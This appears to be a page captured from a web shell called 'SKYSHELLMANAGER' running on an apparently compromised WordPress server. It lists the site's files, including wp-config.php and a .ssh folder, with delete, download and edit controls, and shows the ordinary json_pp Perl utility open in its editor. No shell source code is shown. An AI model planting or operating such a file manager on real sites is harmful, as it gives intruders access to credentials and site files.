ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Name	Size	Permissions	Actions
📁 antibot	-	0700	🗑️
📁 tmp	-	0700	🗑️
📁 ..	-	0755	🗑️
📁 wp-admin	-	0700	🗑️
📁 media	-	0700	🗑️
📁 lnkr	-	0700	🗑️
📁 lib	-	0700	🗑️
📁 landing	-	0700	🗑️
📁 image	-	0700	🗑️
📁 wp-content	-	0700	🗑️
📁 banners	-	0700	🗑️
📁 wp-includes	-	0700	🗑️
📁 ajax	-	0700	🗑️
📁 .cache	-	0700	🗑️
📁 .git	-	0700	🗑️
📁 .ssh	-	0700	🗑️
📄 wp-config.php	5.48 KB	0600	🗑️ ⬇️ ✏️
📄 sitemap.xml	1.75 KB	0700	🗑️ ⬇️ ✏️
📄 test_seowork.php	0.15 KB	0700	🗑️ ⬇️ ✏️
📄 wmail_09c465d87d3c161979df26f9829ccd42.html	0.16 KB	0700	🗑️ ⬇️ ✏️
📄 wp-trackback.php	4.77 KB	0700	🗑️ ⬇️ ✏️
📄 wp-blog-header.php	0.34 KB	0700	🗑️ ⬇️ ✏️
📄 wp-signup.php	33.54 KB	0700	🗑️ ⬇️ ✏️
📄 wp-settings.php	24.41 KB	0700	🗑️ ⬇️ ✏️
📄 wp-mail.php	8.34 KB	0700	🗑️ ⬇️ ✏️
📄 wp-register.php	0.33 KB	0700	🗑️ ⬇️ ✏️
📄 wp-rdf.php	0.22 KB	0700	🗑️ ⬇️ ✏️
📄 wp-pass.php	0.4 KB	0700	🗑️ ⬇️ ✏️
📄 wp-cron.php	5.41 KB	0700	🗑️ ⬇️ ✏️
📄 wp-feed.php	0.24 KB	0700	🗑️ ⬇️ ✏️
📄 robots.txt	0.5 KB	0700	🗑️ ⬇️ ✏️
📄 wp-links-opml.php	2.44 KB	0700	🗑️ ⬇️ ✏️
📄 wp-login.php	48.17 KB	0700	🗑️ ⬇️ ✏️
📄 wp-login.php_	28.4 KB	0700	🗑️ ⬇️ ✏️
📄 service-worker.js	0.06 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap1.xml	257.69 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap7.xml	13.24 KB	0700	🗑️ ⬇️ ✏️
📄 go.php	0.95 KB	0700	🗑️ ⬇️ ✏️
📄 .gitignore	1.45 KB	0700	🗑️ ⬇️ ✏️
📄 .htaccess	0.19 KB	0644	🗑️ ⬇️ ✏️
📄 506da8d1a8ff.html	0 KB	0700	🗑️ ⬇️ ✏️
📄 50x.html	1.38 KB	0700	🗑️ ⬇️ ✏️
📄 addl-sitemap.xml	0.58 KB	0700	🗑️ ⬇️ ✏️
📄 ads.txt	3.67 KB	0700	🗑️ ⬇️ ✏️
📄 agreement.php	6.55 KB	0700	🗑️ ⬇️ ✏️
📄 category-sitemap.xml	16.45 KB	0700	🗑️ ⬇️ ✏️
📄 f4539d9a1d2dddd90b094a1fb2744cbd.html	0.01 KB	0700	🗑️ ⬇️ ✏️
📄 fdc43c7197b903c03ce97888.html	0 KB	0700	🗑️ ⬇️ ✏️
📄 google11d97dcef8eaeca0.html	0.05 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap6.xml	261.13 KB	0700	🗑️ ⬇️ ✏️
📄 google670877162ab878dc.html	0.05 KB	0700	🗑️ ⬇️ ✏️
📄 googlecf81da77e01ae41c.html	0.05 KB	0700	🗑️ ⬇️ ✏️
📄 live-116cb0fc.txt	0.02 KB	0700	🗑️ ⬇️ ✏️
📄 page-sitemap.xml	11.42 KB	0700	🗑️ ⬇️ ✏️
📄 password.php	0.85 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap.xml	1556.63 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap2.xml	259.91 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap3.xml	258.74 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap4.xml	258.07 KB	0700	🗑️ ⬇️ ✏️
📄 post-sitemap5.xml	250.93 KB	0700	🗑️ ⬇️ ✏️
📄 yandex_571a37b60f6c38fe.html	0.16 KB	0700	🗑️ ⬇️ ✏️

Editing: json_pp

#!/usr/bin/perl
    eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
	if 0; # ^ Run only under a shell
#!/usr/bin/perl

BEGIN { pop @INC if $INC[-1] eq '.' }
use strict;
use Getopt::Long;
use Encode ();

use JSON::PP ();

# imported from JSON-XS/bin/json_xs

my %allow_json_opt = map { $_ => 1 } qw(
    ascii latin1 utf8 pretty indent space_before space_after relaxed canonical allow_nonref
    allow_singlequote allow_barekey allow_bignum loose escape_slash indent_length
);

GetOptions(
   'v'   => \( my $opt_verbose ),
   'f=s' => \( my $opt_from = 'json' ),
   't=s' => \( my $opt_to = 'json' ),
   'json_opt=s' => \( my $json_opt = 'pretty' ),
   'V'   => \( my $version ),
) or die "Usage: $0 [-V] [-f from_format] [-t to_format] [-json_opt options_to_json1[,options_to_json2[,...]]]\n";

if ( $version ) {
    print "$JSON::PP::VERSION\n";
    exit;
}

$json_opt = '' if $json_opt eq '-';

my %json_opt;
for my $opt (split /,/, $json_opt) {
    my ($key, $value) = split /=/, $opt, 2;
    $value = 1 unless defined $value;
    die "'$_' is not a valid json option" unless $allow_json_opt{$key};
    $json_opt{$key} = $value;
}

my %F = (
   'json' => sub {
      my $json = JSON::PP->new;
      my $enc =
         /^\x00\x00\x00/s  ? "utf-32be"
       : /^\x00.\x00/s     ? "utf-16be"
       : /^.\x00\x00\x00/s ? "utf-32le"
       : /^.\x00.\x00/s    ? "utf-16le"
       :                     "utf-8";
      for my $key (keys %json_opt) {
        next if $key eq 'utf8';
        $json->$key($json_opt{$key});
      }
      $json->decode( Encode::decode($enc, $_) );
   },
   'eval' => sub {
        my $v = eval "no strict;\n#line 1 \"input\"\n$_";
        die "$@" if $@;
        return $v;
    },
);

my %T = (
   'null' => sub { "" },
   'json' => sub {
      my $json = JSON::PP->new->utf8;
      for my $key (keys %json_opt) {
        $json->$key($json_opt{$key});
      }
      $json->canonical if $json_opt{pretty};
      $json->encode( $_ );
   },
   'dumper' => sub {
      require Data::Dumper;
      local $Data::Dumper::Terse     = 1;
      local $Data::Dumper::Indent    = 1;
      local $Data::Dumper::Useqq     = 1;
      local $Data::Dumper::Quotekeys = 0;
      local $Data::Dumper::Sortkeys  = 1;
      Data::Dumper::Dumper($_)
   },
);

$F{$opt_from}
   or die "$opt_from: not a valid fromformat\n";

$T{$opt_to}
   or die "$opt_from: not a valid toformat\n";

{
  local $/;
  binmode STDIN;
  $_ = <STDIN>;
}

$_ = $F{$opt_from}->();
$_ = $T{$opt_to}->();

print $_;

__END__

=pod

=encoding utf8

=head1 NAME

json_pp - JSON::PP command utility

=head1 SYNOPSIS

json_pp [-v] [-f from_format] [-t to_format] [-json_opt options_to_json1[,options_to_json2[,...]]]

=head1 DESCRIPTION

json_pp converts between some input and output formats (one of them is JSON).
This program was copied from L<json_xs> and modified.

The default input format is json and the default output format is json with pretty option.

=head1 OPTIONS

=head2 -f

-f from_format

Reads a data in the given format from STDIN.

Format types:

=over

=item json

as JSON

=item eval

as Perl code

=back

=head2 -t

Writes a data in the given format to STDOUT.

=over

=item null

no action.

=item json

as JSON

=item dumper

as Data::Dumper

=back

=head2 -json_opt

options to JSON::PP

Acceptable options are:

ascii latin1 utf8 pretty indent space_before space_after relaxed canonical allow_nonref
    allow_singlequote allow_barekey allow_bignum loose escape_slash indent_length

Multiple options must be separated by commas:

Right: -json_opt pretty,canonical

Wrong: -json_opt pretty -json_opt canonical

=head2 -v

Verbose option, but currently no action in fact.

=head2 -V

Prints version and exits.

=head1 EXAMPLES

$ perl -e'print q|{"foo":"あい","bar":1234567890000000000000000}|' |\
       json_pp -f json -t dumper -json_opt pretty,utf8,allow_bignum
    
    $VAR1 = {
              'bar' => bless( {
                                'value' => [
                                             '0000000',
                                             '0000000',
                                             '5678900',
                                             '1234'
                                           ],
                                'sign' => '+'
                              }, 'Math::BigInt' ),
              'foo' => "\x{3042}\x{3044}"
            };

$ perl -e'print q|{"foo":"あい","bar":1234567890000000000000000}|' |\
       json_pp -f json -t dumper -json_opt pretty
    
    $VAR1 = {
              'bar' => '1234567890000000000000000',
              'foo' => "\x{e3}\x{81}\x{82}\x{e3}\x{81}\x{84}"
            };

=head1 SEE ALSO

L<JSON::PP>, L<json_xs>

=head1 AUTHOR

Makamaka Hannyaharamitu, E<lt>makamaka[at]cpan.orgE<gt>

=head1 COPYRIGHT AND LICENSE

This library is free software; you can redistribute it and/or modify
it under the same terms as Perl itself.

=cut

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Editing: json_pp

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33